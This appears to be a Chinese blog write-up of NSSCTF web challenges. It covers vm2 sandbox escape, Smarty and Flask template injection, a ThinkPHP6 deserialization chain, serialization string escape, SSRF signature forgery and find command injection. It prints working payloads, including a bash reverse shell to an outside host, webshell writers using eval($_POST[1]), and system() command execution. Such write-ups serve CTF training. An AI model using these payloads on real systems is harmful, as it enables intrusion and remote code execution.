当前位置:   article > 正文

NSSCTF web刷题记录6_[moectf 2021]地狱通讯-改

[moectf 2021]地狱通讯-改


[HZNUCTF 2023 final]eznode

考点:vm2沙箱逃逸、原型链污染

打开题目,提示找找源码
在这里插入图片描述
直接访问./app.js得到

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

payload如下

{
    "shit":"1",
    "__proto__": {
        "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

postmanPOST发送即可
反弹shell成功,得到flag
在这里插入图片描述

[MoeCTF 2021]地狱通讯-改

考点:JWT解密、ssti

源码如下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        return render_template('flag.html', name=name)


if __name__ == "__main__":
    app.run()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45

分析一下,/路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello路由接收参数token,然后进行解密,如果为admin返回flag

首先第一步获取token值,访问/hello
在这里插入图片描述然后要找到jwt解密要的密钥
我们利用ssti获取

/hello?flag={0.__class__.__init__.__globals__}
  • 1

在这里插入图片描述
然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
在这里插入图片描述
访问得到flag
在这里插入图片描述

[红明谷CTF 2022] Smarty Calculator

考点:Smarty模板注入,CVE-2021-26120

扫一下目录,发现有源码泄露
在这里插入图片描述看下源码,发现是Smarty模板

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
    <h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
    <form action="" method="POST">
        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
        <br>
        <input type="submit" value="Submit">
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|\<|flag|\?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
		  echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56

有waf过滤,然后判断cookie
我们试试注入语句,发现成功
在这里插入图片描述
由于我们在/Smarty/Smarty.class.php知道该版本
在这里插入图片描述

方法一 CVE-2021-26120

直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载该版本的源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配

if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
  • 1

而题目中的正则匹配

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
  • 1

可以发现变成!,后面的(.*)+中,.匹配除了换行符以外的所有字符,*匹配0次或者多次,+匹配一次或者多次,我们可以使用多次换行绕过

该漏洞的poc
在这里插入图片描述修改一下即可得到flag

data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
  • 1

在这里插入图片描述

方法二 CVE-2021-29454

data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
  • 1

在这里插入图片描述

方法三 写马蚁剑连接

也是利用八进制实现绕过

data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}
  • 1

在这里插入图片描述

prize_p6

考点:数组绕过

源码

 <?php

function x(){
    exit();
}

if(isset($_GET['f'])){
    $content = $_GET['content'];
    if (preg_match('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|\.\./i', $content)) {
        die('hacker');
    }
    if ($_GET['f'] == "create"){
        file_put_contents($content, '<?=x();?>' . $content);
    }
    elseif ($_GET['f'] == "edit"){
        $s1 = $_GET['s1'];
        $s2 = $_GET['s2'];
        if (strlen($s1) > 20 || strlen($s2) > 20 || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s1) || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s2)) {
            die('hacker');
        }
        if(file_exists($content)){
            $s = file_get_contents($content);
            $s = str_replace($s1, $s2, $s);
            file_put_contents($content, $s);
        }
        else{
            die("file no exits!");
        }

    }
    else{
        include($content);
    }
}else{
    highlight_file(__FILE__);
}
?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

分析一下,定义了x()函数直接退出程序;对参数content进行正则匹配。如果参数f为create,那么在文件写入<?=x();?>拼接上content值;如果参数f为edit,那么接收参数s1和s2,长度不能大于20并且匹配一些符号;如果文件存在,读取文件替换部分值(可控)

我们先创建一个shell.php

?f=create&content=shell.php
  • 1

然后成功写入<?=x();?>,由于会退出程序,所以我们利用replace去替换掉x函数实现RCE,然后数组绕过正则匹配,payload如下

?f=edit&content=shell.php&s1[]=x();&s2[]=eval($_POST[1]);
  • 1

然后访问shell.php命令执行即可
在这里插入图片描述

[安洵杯 2019]iamthinking

考点:ThinkPHP6 反序列化漏洞

www.zip源码泄露,得到源码

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

接受参数payload,然后获取url中的参数进行正则匹配,如果没有匹配到则进行反序列化。

我们又翻到发现是ThinkPHP6
在这里插入图片描述查找相关资料发现有反序列化漏洞,poc如下

<?php
namespace think\model\concern{
    trait ModelEvent{
        protected $withEvent = false;
    }
    trait Attribute{
        protected $strict = true;
        private $data = ["cmd" => "cat /flag"];
        private $withAttr = ["cmd" => "system"];
    }
    trait Conversion{
    }
}
namespace think{
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
        use model\concern\ModelEvent;
        private $lazySave;
        private $exists;
        private $force;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->exists = true;
            $this->force = true;
            $this->table = true;
        }
    }
}
namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        public function __construct($a = '')
        {
            parent::__construct();
            $this->table = $a;
        }
    }
    echo urlencode(serialize(new Pivot(new Pivot())));
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44

然后就是绕过正则匹配,利用///public/?payload=...
在这里插入图片描述

[AFCTF 2021]secret

考点:MD5爆破,伪造cookie

打开题目,登陆注册需要验证码
MD5爆破前六位脚本

import hashlib

for i in range(1,1000000000):
    str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
    if(str1[0:6]=='4410a2'):
        print(i)
        print(str1)
        break

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

发现不能注册admin,随便注册用户a
然后发现cookie很奇怪
在这里插入图片描述我们试试注册用户aa,发现有相似之处
在这里插入图片描述发现两个字母开头均有_,我们试试注册adminadmin
果然和我们想的一样
在这里插入图片描述
我们bp抓包去掉后半部分试试,得到flag
在这里插入图片描述

[0ctf 2016]unserialize

考点:字符串逃逸

打开题目,发现有登录框,尝试sql注入发现不行
扫一下目录,发现存在源码泄露

在这里插入图片描述

代码审计一下
profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
...省略部分代码
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

首先判断是否登录,然后判断profile是否为空,如果不为空则对其反序列化,这里存在对变量profile的属性photo进行文件读取的漏洞

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
...省略部分代码
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

包括四个属性,前三个会进行正则匹配,然后图片会判断文件大小

class.php关键代码

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);

	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}	
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

这里的字符串替换可以利用字符串逃逸绕过对photo文件的限制

config.php发现有flag字段,猜测文件读取config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

我们一步步分析,假设我们上传图片为config.jpg
(nickname数组绕过正则匹配)

<?php 
class b{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array('sz');
	public $photo = "config.jpg";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

生成字符串如下

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:2:"sz";}s:5:"photo";s:10:"config.jpg";}
  • 1

我们要把";}s:5:"photo";s:10:"config.jpg";}写到nickname里面去,并改为config.php变成

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:36:"sz";}s:5:"photo";s:10:"config.jpg";}";}s:5:"photo";s:10:"config.jpg";}
  • 1

需要被写进去的长度为34,那么我们就需要34个where,这样通过字符替换为hacker时刚好增加长度为34把题目上传后面的挤掉,去读取我们自己构造的photo
所以exp如下

<?php 
class b{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere');
	public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

这时候我们上传config.jpg,然后bp抓包修改
在这里插入图片描述然后查看源码

在这里插入图片描述解码得到flag
在这里插入图片描述

[De1ctf 2019]SSRF Me

考点:SSRF

源码如下

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)  #密钥为随机的十六字节字符串
 
class Task:
    def __init__(self, action, param, sign, ip):		#是一个简单的赋值函数
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):		#如果没有该文件夹,则创立一个文件夹
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)	#这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')	#打开方式为只读
                result['code'] = 200
                result['data'] = f.read()	#读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])		#注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
    action = urllib.unquote(request.cookies.get("action"))		#cookie传递action参数,对应不同的处理方式
    param = urllib.unquote(request.args.get("param", ""))		#传递get方式的参数param
    sign = urllib.unquote(request.cookies.get("sign"))			#cookie传递sign参数sign
    ip = request.remote_addr				#获取请求端的ip地址
    if(waf(param)):			#调用waf函数进行过滤
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip) 			#创建Task类对象
    return json.dumps(task.Exec())			#以json的形式返回到客户端
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]		#这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
    except:
        return "Connection Timeout"
 
def getSign(action, param):				#getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):			#将传入的字符串进行md5加密
    return hashlib.md5(content).hexdigest()
 
def waf(param):						#防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101

我们逐段分析
Task类

class Task:
    def __init__(self, action, param, sign, ip):		#是一个简单的赋值函数
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):		#如果没有该文件夹,则创立一个文件夹
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)	#这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')	#打开方式为只读
                result['code'] = 200
                result['data'] = f.read()	#读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

首先定义__init__初始化的函数,包括五个值,其中会对ip进行MD5加密然后如果没有该文件夹,则使用该标识符创建一个文件夹;Exec函数会由checkSign()函数去检测签名,根据action值的不同来实现两个功能,scan功能可以实现文件修改,写入文件对应参数param的值,read功能可以实现文件读取;checkSign函数是检测签名是否正确,getSign函数是后文代码中获取签名的方式。

然后再看/geneSign路由

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  • 1
  • 2
  • 3
  • 4
  • 5

定义geneSign函数,接收GET参数param,action默认为scan,返回对应的签名

继续看/De1ta路由

@app.route('/De1ta',methods=['GET','POST'])		的主函数,接下来是调用其他函数的过程
def challenge():
    action = urllib.unquote(request.cookies.get("action"))		
    param = urllib.unquote(request.args.get("param", ""))		
    sign = urllib.unquote(request.cookies.get("sign"))			
    ip = request.remote_add
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())	
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

定义challenge函数,在cookie接收参数action和sign,接收GET参数param,然后获取请求端ip,对参数param进行黑名单检测,然后创建task实例,返回json格式的执行Exec函数的结果

最后看跟路由

@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]		#这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
    except:
        return "Connection Timeout"
 
def getSign(action, param):				#getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):			#将传入的字符串进行md5加密
    return hashlib.md5(content).hexdigest()
 
def waf(param):						#防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

定义scan函数可以读取param的值的文件;给出了getSign函数的签名计算方式,也就是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值;MD5函数就是对值进行加密;waf函数黑名单为gopher和file协议

方法一

思路
我们知道scan可以修改文件,read可以读取文件,我们看向源码中是如何判断的

if "scan" in self.action:
if "read" in self.action:
  • 1
  • 2

也就是说存在漏洞的,如果我们的action为readscan或scanread的话,就可以实现读取flag.txt并且写入到result.txt去。
构造exp如下

action=readscan
param=flag.txt
  • 1
  • 2

要想进入这里的判断就要检查签名是否正确,关键语句

if (getSign(self.action, self.param) == self.sign):
  • 1

我们先看如何构造签名,在/geneSign路由下,会发现action默认为scan,我们无法修改成readscan,但是这里存在漏洞,就是getSign函数在进行拼接时是param + action,如果我们构造param为flag.txtread即可实现绕过,具体过程如下

action=scan
param=flag.txtread
  • 1
  • 2

这样拼接后构造出来的签名可以实现绕过
然后就是在/De1ta路由rce即可

解题过程如下
我们先构造签名
在这里插入图片描述
然后访问/De1ta修改cookie,得到flag
在这里插入图片描述

方法二 哈希拓展攻击

工具hash_ext_attack.py

从前面已经讲解了大概思路,就是伪造签名,构造

action=readscan
param=flag.txt
  • 1
  • 2

使用此工具就不需要构造flag.txtread了,步骤如下
我们已知密钥为十六字节,加上我们需要读取的flag.txt的长度,经过拼接后长度为24,我们直接在获取签名处发送param=flag.txt得到签名,然后已知明文为scan,拓展为read
在这里插入图片描述然后运行脚本
在这里插入图片描述

也能得到flag
在这里插入图片描述

[AFCTF 2021]search

find命令使用

存在源码泄露
在这里插入图片描述源码如下

<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {
  if (($argv[$i] == '&') ||
    ($argv[$i] == '>') ||
    ($argv[$i] == '<') ||
    ($argv[$i] == '(') ||
    ($argv[$i] == ';') ||
    ($argv[$i] == '|')
  ) {

    if ($i == 0) {
      goto error;
    }
    if (($i == 1) && ($argv[0] == '\\')) {
      continue;
    }
    if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {
      continue;
    }
    error:
    exit("Input contains prohibited characters!<br>");
  }
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

存在命令执行,过滤了管道符
直接找环境变量,payload如下

?search=environ -exec cat {} \;
  • 1

在这里插入图片描述

[鹏城杯 2022]压缩包

考点:条件竞争、解压失败逻辑漏洞

源码

<?php
highlight_file(__FILE__);

function removedir($dir){
    $list= scandir($dir);
    foreach ($list as  $value) {
       if(is_file($dir.'/'.$value)){
         unlink($dir.'/'.$value);
       }else if($value!="."&&$value!=".."){
                removedir($dir.'/'.$value);
       }
    }
}

function unzip($filename){
        $result = [];
        $zip = new ZipArchive();
        $zip->open($filename);
        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
        if(!is_dir($dir)){
            mkdir($dir);
        }
        if($zip->extractTo($dir)){
        foreach (scandir($dir) as  $value) {
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                removedir($dir);
            }
            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                if(is_file($dir."/".$value)){
                    unlink($dir."/".$value);
                }else{
                    if($value!="."&&$value!="..")
                    array_push($result,$value);
                }
                
            }
           
        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
        }else{
            return false;
        }
    }
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55

分析一下,removedir函数采用了递归删除文件的方式,将压缩包中所有非法文件删除;unzip函数首先实例化PHP的ZipArchive类来打开一个ZIP文件,并将其解压缩到指定的目录并回显该路径,然后过滤了几种常见的文件上传绕过手段,最后给了白名单进行正则匹配;接收参数content,然后执行rm删除上传的非法文件,如果合法文件则回显上传路径

